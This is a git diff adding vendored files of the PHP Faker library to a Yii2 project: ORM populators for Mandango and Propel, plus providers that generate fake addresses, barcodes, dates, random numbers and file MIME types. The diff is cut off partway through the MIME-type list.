$mandango; + } + + /** + * Add an order for the generation of $number records for $entity. + * + * @param mixed $entity A Propel ActiveRecord classname, or a \Faker\ORM\Propel\EntityPopulator instance + * @param int $number The number of entities to populate + */ + public function addEntity($entity, $number, $customColumnFormatters = array()) + { + if (!$entity instanceof \Faker\ORM\Mandango\EntityPopulator) { + $entity = new \Faker\ORM\Mandango\EntityPopulator($entity); + } + $entity->setColumnFormatters($entity->guessColumnFormatters($this->generator, $this->mandango)); + if ($customColumnFormatters) { + $entity->mergeColumnFormattersWith($customColumnFormatters); + } + $class = $entity->getClass(); + $this->entities[$class] = $entity; + $this->quantities[$class] = $number; + } + + /** + * Populate the database using all the Entity classes previously added. + * + * @return array A list of the inserted entities. + */ + public function execute() + { + $insertedEntities = array(); + foreach ($this->quantities as $class => $number) { + for ($i=0; $i < $number; $i++) { + $insertedEntities[$class][]= $this->entities[$class]->execute($this->mandango, $insertedEntities); + } + } + $this->mandango->flush(); + + return $insertedEntities; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/ColumnTypeGuesser.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/ColumnTypeGuesser.php new file mode 100644 index 00000000..cb3e4462 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/ColumnTypeGuesser.php @@ -0,0 +1,99 @@ +generator = $generator; + } + + public function guessFormat(ColumnMap $column) + { + $generator = $this->generator; + if ($column->isTemporal()) { + if ($column->isEpochTemporal()) { + return function () use ($generator) { + return $generator->dateTime; + }; + } else { + return function () use ($generator) { + return $generator->dateTimeAD; + }; + } + } + $type = $column->getType(); + switch ($type) { + case PropelColumnTypes::BOOLEAN: + case PropelColumnTypes::BOOLEAN_EMU: + return function () use ($generator) { + return $generator->boolean; + }; + case PropelColumnTypes::NUMERIC: + case PropelColumnTypes::DECIMAL: + $size = $column->getSize(); + + return function () use ($generator, $size) { + return $generator->randomNumber($size + 2) / 100; + }; + case PropelColumnTypes::TINYINT: + return function () { + return mt_rand(0, 127); + }; + case PropelColumnTypes::SMALLINT: + return function () { + return mt_rand(0, 32767); + }; + case PropelColumnTypes::INTEGER: + return function () { + return mt_rand(0, intval('2147483647')); + }; + case PropelColumnTypes::BIGINT: + return function () { + return mt_rand(0, intval('9223372036854775807')); + }; + case PropelColumnTypes::FLOAT: + return function () { + return mt_rand(0, intval('2147483647'))/mt_rand(1, intval('2147483647')); + }; + case PropelColumnTypes::DOUBLE: + case PropelColumnTypes::REAL: + return function () { + return mt_rand(0, intval('9223372036854775807'))/mt_rand(1, intval('9223372036854775807')); + }; + case PropelColumnTypes::CHAR: + case PropelColumnTypes::VARCHAR: + case PropelColumnTypes::BINARY: + case PropelColumnTypes::VARBINARY: + $size = $column->getSize(); + + return function () use ($generator, $size) { + return $generator->text($size); + }; + case PropelColumnTypes::LONGVARCHAR: + case PropelColumnTypes::LONGVARBINARY: + case PropelColumnTypes::CLOB: + case PropelColumnTypes::CLOB_EMU: + case PropelColumnTypes::BLOB: + return function () use ($generator) { + return $generator->text; + }; + case PropelColumnTypes::ENUM: + $valueSet = $column->getValueSet(); + + return function () use ($generator, $valueSet) { + return $generator->randomElement($valueSet); + }; + case PropelColumnTypes::OBJECT: + case PropelColumnTypes::PHP_ARRAY: + // no smart way to guess what the user expects here + return null; + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/EntityPopulator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/EntityPopulator.php new file mode 100644 index 00000000..a83d8726 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/EntityPopulator.php @@ -0,0 +1,170 @@ +class = $class; + } + + public function getClass() + { + return $this->class; + } + + public function setColumnFormatters($columnFormatters) + { + $this->columnFormatters = $columnFormatters; + } + + public function getColumnFormatters() + { + return $this->columnFormatters; + } + + public function mergeColumnFormattersWith($columnFormatters) + { + $this->columnFormatters = array_merge($this->columnFormatters, $columnFormatters); + } + + public function guessColumnFormatters(\Faker\Generator $generator) + { + $formatters = array(); + $class = $this->class; + $peerClass = $class::PEER; + $tableMap = $peerClass::getTableMap(); + $nameGuesser = new \Faker\Guesser\Name($generator); + $columnTypeGuesser = new \Faker\ORM\Propel\ColumnTypeGuesser($generator); + foreach ($tableMap->getColumns() as $columnMap) { + // skip behavior columns, handled by modifiers + if ($this->isColumnBehavior($columnMap)) { + continue; + } + if ($columnMap->isForeignKey()) { + $relatedClass = $columnMap->getRelation()->getForeignTable()->getClassname(); + $formatters[$columnMap->getPhpName()] = function ($inserted) use ($relatedClass) { + return isset($inserted[$relatedClass]) ? $inserted[$relatedClass][mt_rand(0, count($inserted[$relatedClass]) - 1)] : null; + }; + continue; + } + if ($columnMap->isPrimaryKey()) { + continue; + } + if ($formatter = $nameGuesser->guessFormat($columnMap->getPhpName())) { + $formatters[$columnMap->getPhpName()] = $formatter; + continue; + } + if ($formatter = $columnTypeGuesser->guessFormat($columnMap)) { + $formatters[$columnMap->getPhpName()] = $formatter; + continue; + } + } + + return $formatters; + } + + protected function isColumnBehavior(ColumnMap $columnMap) + { + foreach ($columnMap->getTable()->getBehaviors() as $name => $params) { + $columnName = Base::toLower($columnMap->getName()); + switch ($name) { + case 'nested_set': + $columnNames = array($params['left_column'], $params['right_column'], $params['level_column']); + if (in_array($columnName, $columnNames)) { + return true; + } + break; + case 'timestampable': + $columnNames = array($params['create_column'], $params['update_column']); + if (in_array($columnName, $columnNames)) { + return true; + } + break; + } + } + + return false; + } + + public function setModifiers($modifiers) + { + $this->modifiers = $modifiers; + } + + public function getModifiers() + { + return $this->modifiers; + } + + public function mergeModifiersWith($modifiers) + { + $this->modifiers = array_merge($this->modifiers, $modifiers); + } + + public function guessModifiers(\Faker\Generator $generator) + { + $modifiers = array(); + $class = $this->class; + $peerClass = $class::PEER; + $tableMap = $peerClass::getTableMap(); + foreach ($tableMap->getBehaviors() as $name => $params) { + switch ($name) { + case 'nested_set': + $modifiers['nested_set'] = function ($obj, $inserted) use ($class, $generator) { + if (isset($inserted[$class])) { + $queryClass = $class . 'Query'; + $parent = $queryClass::create()->findPk($generator->randomElement($inserted[$class])); + $obj->insertAsLastChildOf($parent); + } else { + $obj->makeRoot(); + } + }; + break; + case 'sortable': + $modifiers['sortable'] = function ($obj, $inserted) use ($class, $generator) { + $maxRank = isset($inserted[$class]) ? count($inserted[$class]) : 0; + $obj->insertAtRank(mt_rand(1, $maxRank + 1)); + }; + break; + } + } + + return $modifiers; + } + + /** + * Insert one new record using the Entity class. + */ + public function execute($con, $insertedEntities) + { + $obj = new $this->class(); + foreach ($this->getColumnFormatters() as $column => $format) { + if (null !== $format) { + $obj->setByName($column, is_callable($format) ? $format($insertedEntities, $obj) : $format); + } + } + foreach ($this->getModifiers() as $modifier) { + $modifier($obj, $insertedEntities); + } + $obj->save($con); + + return $obj->getPrimaryKey(); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/Populator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/Populator.php new file mode 100644 index 00000000..067229bc --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Propel/Populator.php @@ -0,0 +1,86 @@ +generator = $generator; + } + + /** + * Add an order for the generation of $number records for $entity. + * + * @param mixed $entity A Propel ActiveRecord classname, or a \Faker\ORM\Propel\EntityPopulator instance + * @param int $number The number of entities to populate + */ + public function addEntity($entity, $number, $customColumnFormatters = array(), $customModifiers = array()) + { + if (!$entity instanceof \Faker\ORM\Propel\EntityPopulator) { + $entity = new \Faker\ORM\Propel\EntityPopulator($entity); + } + $entity->setColumnFormatters($entity->guessColumnFormatters($this->generator)); + if ($customColumnFormatters) { + $entity->mergeColumnFormattersWith($customColumnFormatters); + } + $entity->setModifiers($entity->guessModifiers($this->generator)); + if ($customModifiers) { + $entity->mergeModifiersWith($customModifiers); + } + $class = $entity->getClass(); + $this->entities[$class] = $entity; + $this->quantities[$class] = $number; + } + + /** + * Populate the database using all the Entity classes previously added. + * + * @param PropelPDO $con A Propel connection object + * + * @return array A list of the inserted PKs + */ + public function execute($con = null) + { + if (null === $con) { + $con = $this->getConnection(); + } + $isInstancePoolingEnabled = \Propel::isInstancePoolingEnabled(); + \Propel::disableInstancePooling(); + $insertedEntities = array(); + $con->beginTransaction(); + foreach ($this->quantities as $class => $number) { + for ($i=0; $i < $number; $i++) { + $insertedEntities[$class][]= $this->entities[$class]->execute($con, $insertedEntities); + } + } + $con->commit(); + if ($isInstancePoolingEnabled) { + \Propel::enableInstancePooling(); + } + + return $insertedEntities; + } + + protected function getConnection() + { + // use the first connection available + $class = key($this->entities); + + if (!$class) { + throw new \RuntimeException('No class found from entities. Did you add entities to the Populator ?'); + } + + $peer = $class::PEER; + + return \Propel::getConnection($peer::DATABASE_NAME, \Propel::CONNECTION_WRITE); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Address.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Address.php new file mode 100644 index 00000000..f92f4477 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Address.php @@ -0,0 +1,121 @@ +generator->parse($format); + } + + /** + * @example 'Crist Parks' + */ + public function streetName() + { + $format = static::randomElement(static::$streetNameFormats); + + return $this->generator->parse($format); + } + + /** + * @example '791 Crist Parks' + */ + public function streetAddress() + { + $format = static::randomElement(static::$streetAddressFormats); + + return $this->generator->parse($format); + } + + /** + * @example 86039-9874 + */ + public static function postcode() + { + return static::toUpper(static::bothify(static::randomElement(static::$postcode))); + } + + /** + * @example '791 Crist Parks, Sashabury, IL 86039-9874' + */ + public function address() + { + $format = static::randomElement(static::$addressFormats); + + return $this->generator->parse($format); + } + + /** + * @example 'Japan' + */ + public static function country() + { + return static::randomElement(static::$country); + } + + /** + * @example '77.147489' + */ + public static function latitude() + { + return number_format(mt_rand(-90000000, 90000000)/1000000, 6); + } + + /** + * @example '86.211205' + */ + public static function longitude() + { + return number_format(mt_rand(-180000000, 180000000)/1000000, 6); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Barcode.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Barcode.php new file mode 100644 index 00000000..62f676d4 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Barcode.php @@ -0,0 +1,48 @@ + $digit) { + $sums += $digit * $sequence[$n % 2]; + } + + $checksum = (10 - $sums % 10) % 10; + + return implode('', $code) . $checksum; + } + + /** + * Get a random EAN13 barcode. + * @return string + * @example '4006381333931' + */ + public function ean13() + { + return $this->ean(13); + } + + /** + * Get a random EAN8 barcode. + * @return string + * @example '73513537' + */ + public function ean8() + { + return $this->ean(8); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Base.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Base.php new file mode 100644 index 00000000..138773ed --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Base.php @@ -0,0 +1,320 @@ +generator = $generator; + } + + /** + * Returns a random number between 0 and 9 + * + * @return integer + */ + public static function randomDigit() + { + return mt_rand(0, 9); + } + + /** + * Returns a random number between 1 and 9 + * + * @return integer + */ + public static function randomDigitNotNull() + { + return mt_rand(1, 9); + } + + /** + * Returns a random number with 0 to $nbDigits digits. + * + * The maximum value returned is mt_getrandmax() + * + * @param integer $nbDigits Defaults to a random number between 1 and 9 + * @param boolean $strict Whether the returned number should have exactly $nbDigits + * @example 79907610 + * + * @return integer + */ + public static function randomNumber($nbDigits = null, $strict = false) + { + if (!is_bool($strict)) { + throw new \InvalidArgumentException('randomNumber() generates numbers of fixed width. To generate numbers between two boundaries, use numberBetween() instead.'); + } + if (null === $nbDigits) { + $nbDigits = static::randomDigitNotNull(); + } + $max = pow(10, $nbDigits) - 1; + if ($max > mt_getrandmax()) { + throw new \InvalidArgumentException('randomNumber() can only generate numbers up to mt_getrandmax()'); + } + if ($strict) { + return mt_rand(pow(10, $nbDigits - 1), $max); + } + return mt_rand(0, $max); + } + + /** + * Return a random float number + * + * @param int $nbMaxDecimals + * @param int|float $min + * @param int|float $max + * @example 48.8932 + * + * @return float + */ + public static function randomFloat($nbMaxDecimals = null, $min = 0, $max = null) + { + if (null === $nbMaxDecimals) { + $nbMaxDecimals = static::randomDigit(); + } + + if (null === $max) { + $max = static::randomNumber(); + } + + if ($min > $max) { + $tmp = $min; + $min = $max; + $max = $tmp; + } + + return round($min + mt_rand() / mt_getrandmax() * ($max - $min), $nbMaxDecimals); + } + + /** + * Returns a random number between $min and $max + * + * @param integer $min default to 0 + * @param integer $max defaults to 32 bit max integer, ie 2147483647 + * @example 79907610 + * + * @return integer + */ + public static function numberBetween($min = 0, $max = 2147483647) + { + return mt_rand($min, $max); + } + + /** + * Returns a random letter from a to z + * + * @return string + */ + public static function randomLetter() + { + return chr(mt_rand(97, 122)); + } + + /** + * Returns random elements from a provided array + * + * @param array $array Array to take elements from. Defaults to a-f + * @param integer $count Number of elements to take. + * @throws \LengthException When requesting more elements than provided + * + * @return array New array with $count elements from $array + */ + public static function randomElements(array $array = array('a', 'b', 'c'), $count = 1) + { + $allKeys = array_keys($array); + $numKeys = count($allKeys); + + if ($numKeys < $count) { + throw new \LengthException(sprintf('Cannot get %d elements, only %d in array', $count, $numKeys)); + } + + $highKey = $numKeys - 1; + $keys = $elements = array(); + $numElements = 0; + + while ($numElements < $count) { + $num = mt_rand(0, $highKey); + if (isset($keys[$num])) { + continue; + } + + $keys[$num] = true; + $elements[] = $array[$allKeys[$num]]; + $numElements++; + } + + return $elements; + } + + /** + * Returns a random element from a passed array + * + * @param array $array + * @return mixed + */ + public static function randomElement($array = array('a', 'b', 'c')) + { + if (!$array) { + return null; + } + $elements = static::randomElements($array, 1); + + return $elements[0]; + } + + /** + * Returns a random key from a passed associative array + * + * @param array $array + * @return mixed + */ + public static function randomKey($array = array()) + { + if (!$array) { + return null; + } + $keys = array_keys($array); + $key = $keys[mt_rand(0, count($keys) - 1)]; + + return $key; + } + + /** + * Replaces all hash sign ('#') occurrences with a random number + * Replaces all percentage sign ('%') occurrences with a not null number + * + * @param string $string String that needs to bet parsed + * @return string + */ + public static function numerify($string = '###') + { + // instead of using randomDigit() several times, which is slow, + // count the number of hashes and generate once a large number + $toReplace = array(); + for ($i = 0, $count = strlen($string); $i < $count; $i++) { + if ($string[$i] === '#') { + $toReplace []= $i; + } + } + if ($nbReplacements = count($toReplace)) { + $maxAtOnce = strlen((string) mt_getrandmax()) - 1; + $numbers = ''; + $i = 0; + while ($i < $nbReplacements) { + $size = min($nbReplacements - $i, $maxAtOnce); + $numbers .= str_pad(static::randomNumber($size), $size, '0', STR_PAD_LEFT); + $i += $size; + } + for ($i = 0; $i < $nbReplacements; $i++) { + $string[$toReplace[$i]] = $numbers[$i]; + } + } + $string = preg_replace_callback('/\%/u', 'static::randomDigitNotNull', $string); + + return $string; + } + + /** + * Replaces all question mark ('?') occurrences with a random letter + * + * @param string $string String that needs to bet parsed + * @return string + */ + public static function lexify($string = '????') + { + return preg_replace_callback('/\?/u', 'static::randomLetter', $string); + } + + /** + * Replaces hash signs and question marks with random numbers and letters + * + * @param string $string String that needs to bet parsed + * @return string + */ + public static function bothify($string = '## ??') + { + return static::lexify(static::numerify($string)); + } + + /** + * Converts string to lowercase. + * Uses mb_string extension if available. + * + * @param string $string String that should be converted to lowercase + * @return string + */ + public static function toLower($string = '') + { + return extension_loaded('mbstring') ? mb_strtolower($string, 'UTF-8') : strtolower($string); + } + + /** + * Converts string to uppercase. + * Uses mb_string extension if available. + * + * @param string $string String that should be converted to uppercase + * @return string + */ + public static function toUpper($string = '') + { + return extension_loaded('mbstring') ? mb_strtoupper($string, 'UTF-8') : strtoupper($string); + } + + /** + * Chainable method for making any formatter optional. + * + * @param float $weight Set the probability of receiving a null value. + * "0" will always return null, "1" will always return the generator. + * @return mixed|null + */ + public function optional($weight = 0.5, $default = null) + { + if (mt_rand() / mt_getrandmax() <= $weight) { + return $this->generator; + } + + return new DefaultGenerator($default); + } + + /** + * Chainable method for making any formatter unique. + * + * + * // will never return twice the same value + * $faker->unique()->randomElement(array(1, 2, 3)); + * + * + * @param boolean $reset If set to true, resets the list of existing values + * @param integer $maxRetries Maximum number of retries to find a unique value, + * After which an OverflowExcption is thrown. + * @throws OverflowException When no unique value can be found by iterating $maxRetries times + * + * @return UniqueGenerator A proxy class returning only non-existing values + */ + public function unique($reset = false, $maxRetries = 10000) + { + if ($reset || !$this->unique) { + $this->unique = new UniqueGenerator($this->generator, $maxRetries); + } + + return $this->unique; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Color.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Color.php new file mode 100644 index 00000000..16aa9934 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/Color.php @@ -0,0 +1,108 @@ +generator->parse($format); + } + + /** + * @example 'Ltd' + */ + public static function companySuffix() + { + return static::randomElement(static::$companySuffix); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/DateTime.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/DateTime.php new file mode 100644 index 00000000..c704fe25 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/DateTime.php @@ -0,0 +1,228 @@ +getTimestamp(); + } + + return strtotime(empty($max) ? 'now' : $max); + } + + /** + * Get a timestamp between January 1, 1970 and now + * + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * + * @example 1061306726 + */ + public static function unixTime($max = 'now') + { + return mt_rand(0, static::getMaxTimestamp($max)); + } + + /** + * Get a datetime object for a date between January 1, 1970 and now + * + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('2005-08-16 20:39:21') + * @return \DateTime + */ + public static function dateTime($max = 'now') + { + return new \DateTime('@' . static::unixTime($max)); + } + + /** + * Get a datetime object for a date between January 1, 001 and now + * + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('1265-03-22 21:15:52') + * @return \DateTime + */ + public static function dateTimeAD($max = 'now') + { + return new \DateTime('@' . mt_rand(-62135597361, static::getMaxTimestamp($max))); + } + + /** + * get a date string formatted with ISO8601 + * + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example '2003-10-21T16:05:52+0000' + */ + public static function iso8601($max = 'now') + { + return static::date(\DateTime::ISO8601, $max); + } + + /** + * Get a date string between January 1, 1970 and now + * + * @param string $format + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example '2008-11-27' + */ + public static function date($format = 'Y-m-d', $max = 'now') + { + return static::dateTime($max)->format($format); + } + + /** + * Get a time string (24h format by default) + * + * @param string $format + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example '15:02:34' + */ + public static function time($format = 'H:i:s', $max = 'now') + { + return static::dateTime($max)->format($format); + } + + /** + * Get a DateTime object based on a random date between two given dates. + * Accepts date strings that can be recognized by strtotime(). + * + * @param string $startDate Defaults to 30 years ago + * @param string $endDate Defaults to "now" + * @example DateTime('1999-02-02 11:42:52') + * @return \DateTime + */ + public static function dateTimeBetween($startDate = '-30 years', $endDate = 'now') + { + $startTimestamp = $startDate instanceof \DateTime ? $startDate->getTimestamp() : strtotime($startDate); + $endTimestamp = static::getMaxTimestamp($endDate); + + if ($startTimestamp > $endTimestamp) { + throw new \InvalidArgumentException('Start date must be anterior to end date.'); + } + + $timestamp = mt_rand($startTimestamp, $endTimestamp); + + $ts = new \DateTime('@' . $timestamp); + $ts->setTimezone(new \DateTimeZone(date_default_timezone_get())); + + return $ts; + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('1964-04-04 11:02:02') + * @return \DateTime + */ + public static function dateTimeThisCentury($max = 'now') + { + return static::dateTimeBetween('-100 year', $max); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('2010-03-10 05:18:58') + * @return \DateTime + */ + public static function dateTimeThisDecade($max = 'now') + { + return static::dateTimeBetween('-10 year', $max); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('2011-09-19 09:24:37') + * @return \DateTime + */ + public static function dateTimeThisYear($max = 'now') + { + return static::dateTimeBetween('-1 year', $max); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example DateTime('2011-10-05 12:51:46') + * @return \DateTime + */ + public static function dateTimeThisMonth($max = 'now') + { + return static::dateTimeBetween('-1 month', $max); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example 'am' + */ + public static function amPm($max = 'now') + { + return static::dateTime($max)->format('a'); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example '22' + */ + public static function dayOfMonth($max = 'now') + { + return static::dateTime($max)->format('d'); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example 'Tuesday' + */ + public static function dayOfWeek($max = 'now') + { + return static::dateTime($max)->format('l'); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example '7' + */ + public static function month($max = 'now') + { + return static::dateTime($max)->format('m'); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example 'September' + */ + public static function monthName($max = 'now') + { + return static::dateTime($max)->format('F'); + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @example 1673 + */ + public static function year($max = 'now') + { + return static::dateTime($max)->format('Y'); + } + + /** + * @example 'XVII' + */ + public static function century() + { + return static::randomElement(static::$century); + } + + /** + * @example 'Europe/Paris' + */ + public static function timezone() + { + return static::randomElement(\DateTimeZone::listIdentifiers()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/File.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/File.php new file mode 100644 index 00000000..2f0155ea --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/File.php @@ -0,0 +1,596 @@ + file extension(s) + * @link http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types + */ + protected static $mimeTypes = array( + 'application/atom+xml' => 'atom', + 'application/ecmascript' => 'ecma', + 'application/emma+xml' => 'emma', + 'application/epub+zip' => 'epub', + 'application/java-archive' => 'jar', + 'application/java-vm' => 'class', + 'application/javascript' => 'js', + 'application/json' => 'json', + 'application/jsonml+json' => 'jsonml', + 'application/lost+xml' => 'lostxml', + 'application/mathml+xml' => 'mathml', + 'application/mets+xml' => 'mets', + 'application/mods+xml' => 'mods', + 'application/mp4' => 'mp4s', + 'application/msword' => array('doc', 'dot'), + 'application/octet-stream' => array( + 'bin', + 'dms', + 'lrf', + 'mar', + 'so', + 'dist', + 'distz', + 'pkg', + 'bpk', + 'dump', + 'elc', + 'deploy' + ), + 'application/ogg' => 'ogx', + 'application/omdoc+xml' => 'omdoc', + 'application/pdf' => 'pdf', + 'application/pgp-encrypted' => 'pgp', + 'application/pgp-signature' => array('asc', 'sig'), + 'application/pkix-pkipath' => 'pkipath', + 'application/pkixcmp' => 'pki', + 'application/pls+xml' => 'pls', + 'application/postscript' => array('ai', 'eps', 'ps'), + 'application/pskc+xml' => 'pskcxml', + 'application/rdf+xml' => 'rdf', + 'application/reginfo+xml' => 'rif', + 'application/rss+xml' => 'rss', + 'application/rtf' => 'rtf', + 'application/sbml+xml' => 'sbml', + 'application/vnd.adobe.air-application-installer-package+zip' => 'air', + 'application/vnd.adobe.xdp+xml' => 'xdp', + 'application/vnd.adobe.xfdf' => 'xfdf', + 'application/vnd.ahead.space' => 'ahead', + 'application/vnd.dart' => 'dart', + 'application/vnd.data-vision.rdz' => 'rdz', + 'application/vnd.dece.data' => array('uvf', 'uvvf', 'uvd', 'uvvd'), + 'application/vnd.dece.ttml+xml' => array('uvt', 'uvvt'), + 'application/vnd.dece.unspecified' => array('uvx', 'uvvx'), + 'application/vnd.dece.zip' => array('uvz', 'uvvz'), + 'application/vnd.denovo.fcselayout-link' => 'fe_launch', + 'application/vnd.dna' => 'dna', + 'application/vnd.dolby.mlp' => 'mlp', + 'application/vnd.dpgraph' => 'dpg', + 'application/vnd.dreamfactory' => 'dfac', + 'application/vnd.ds-keypoint' => 'kpxx', + 'application/vnd.dvb.ait' => 'ait', + 'application/vnd.dvb.service' => 'svc', + 'application/vnd.dynageo' => 'geo', + 'application/vnd.ecowin.chart' => 'mag', + 'application/vnd.enliven' => 'nml', + 'application/vnd.epson.esf' => 'esf', + 'application/vnd.epson.msf' => 'msf', + 'application/vnd.epson.quickanime' => 'qam', + 'application/vnd.epson.salt' => 'slt', + 'application/vnd.epson.ssf' => 'ssf', + 'application/vnd.ezpix-album' => 'ez2', + 'application/vnd.ezpix-package' => 'ez3', + 'application/vnd.fdf' => 'fdf', + 'application/vnd.fdsn.mseed' => 'mseed', + 'application/vnd.fdsn.seed' => array('seed', 'dataless'), + 'application/vnd.flographit' => 'gph', + 'application/vnd.fluxtime.clip' => 'ftc', + 'application/vnd.hal+xml' => 'hal', + 'application/vnd.hydrostatix.sof-data' => 'sfd-hdstx', + 'application/vnd.ibm.minipay' => 'mpy', + 'application/vnd.ibm.secure-container' => 'sc', + 'application/vnd.iccprofile' => array('icc', 'icm'), + 'application/vnd.igloader' => 'igl', + 'application/vnd.immervision-ivp' => 'ivp', + 'application/vnd.kde.karbon' => 'karbon', + 'application/vnd.kde.kchart' => 'chrt', + 'application/vnd.kde.kformula' => 'kfo', + 'application/vnd.kde.kivio' => 'flw', + 'application/vnd.kde.kontour' => 'kon', + 'application/vnd.kde.kpresenter' => array('kpr', 'kpt'), + 'application/vnd.kde.kspread' => 'ksp', + 'application/vnd.kde.kword' => array('kwd', 'kwt'), + 'application/vnd.kenameaapp' => 'htke', + 'application/vnd.kidspiration' => 'kia', + 'application/vnd.kinar' => array('kne', 'knp'), + 'application/vnd.koan' => array('skp', 'skd', 'skt', 'skm'), + 'application/vnd.kodak-descriptor' => 'sse', + 'application/vnd.las.las+xml' => 'lasxml', + 'application/vnd.llamagraphics.life-balance.desktop' => 'lbd', + 'application/vnd.llamagraphics.life-balance.exchange+xml' => 'lbe', + 'application/vnd.lotus-1-2-3' => '123', + 'application/vnd.lotus-approach' => 'apr', + 'application/vnd.lotus-freelance' => 'pre', + 'application/vnd.lotus-notes' => 'nsf', + 'application/vnd.lotus-organizer' => 'org', + 'application/vnd.lotus-screencam' => 'scm', + 'application/vnd.mozilla.xul+xml' => 'xul', + 'application/vnd.ms-artgalry' => 'cil', + 'application/vnd.ms-cab-compressed' => 'cab', + 'application/vnd.ms-excel' => array( + 'xls', + 'xlm', + 'xla', + 'xlc', + 'xlt', + 'xlw' + ), + 'application/vnd.ms-excel.addin.macroenabled.12' => 'xlam', + 'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 'xlsb', + 'application/vnd.ms-excel.sheet.macroenabled.12' => 'xlsm', + 'application/vnd.ms-excel.template.macroenabled.12' => 'xltm', + 'application/vnd.ms-fontobject' => 'eot', + 'application/vnd.ms-htmlhelp' => 'chm', + 'application/vnd.ms-ims' => 'ims', + 'application/vnd.ms-lrm' => 'lrm', + 'application/vnd.ms-officetheme' => 'thmx', + 'application/vnd.ms-pki.seccat' => 'cat', + 'application/vnd.ms-pki.stl' => 'stl', + 'application/vnd.ms-powerpoint' => array('ppt', 'pps', 'pot'), + 'application/vnd.ms-powerpoint.addin.macroenabled.12' => 'ppam', + 'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 'pptm', + 'application/vnd.ms-powerpoint.slide.macroenabled.12' => 'sldm', + 'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 'ppsm', + 'application/vnd.ms-powerpoint.template.macroenabled.12' => 'potm', + 'application/vnd.ms-project' => array('mpp', 'mpt'), + 'application/vnd.ms-word.document.macroenabled.12' => 'docm', + 'application/vnd.ms-word.template.macroenabled.12' => 'dotm', + 'application/vnd.ms-works' => array('wps', 'wks', 'wcm', 'wdb'), + 'application/vnd.ms-wpl' => 'wpl', + 'application/vnd.ms-xpsdocument' => 'xps', + 'application/vnd.mseq' => 'mseq', + 'application/vnd.musician' => 'mus', + 'application/vnd.oasis.opendocument.chart' => 'odc', + 'application/vnd.oasis.opendocument.chart-template' => 'otc', + 'application/vnd.oasis.opendocument.database' => 'odb', + 'application/vnd.oasis.opendocument.formula' => 'odf', + 'application/vnd.oasis.opendocument.formula-template' => 'odft', + 'application/vnd.oasis.opendocument.graphics' => 'odg', + 'application/vnd.oasis.opendocument.graphics-template' => 'otg', + 'application/vnd.oasis.opendocument.image' => 'odi', + 'application/vnd.oasis.opendocument.image-template' => 'oti', + 'application/vnd.oasis.opendocument.presentation' => 'odp', + 'application/vnd.oasis.opendocument.presentation-template' => 'otp', + 'application/vnd.oasis.opendocument.spreadsheet' => 'ods', + 'application/vnd.oasis.opendocument.spreadsheet-template' => 'ots', + 'application/vnd.oasis.opendocument.text' => 'odt', + 'application/vnd.oasis.opendocument.text-master' => 'odm', + 'application/vnd.oasis.opendocument.text-template' => 'ott', + 'application/vnd.oasis.opendocument.text-web' => 'oth', + 'application/vnd.olpc-sugar' => 'xo', + 'application/vnd.oma.dd2+xml' => 'dd2', + 'application/vnd.openofficeorg.extension' => 'oxt', + 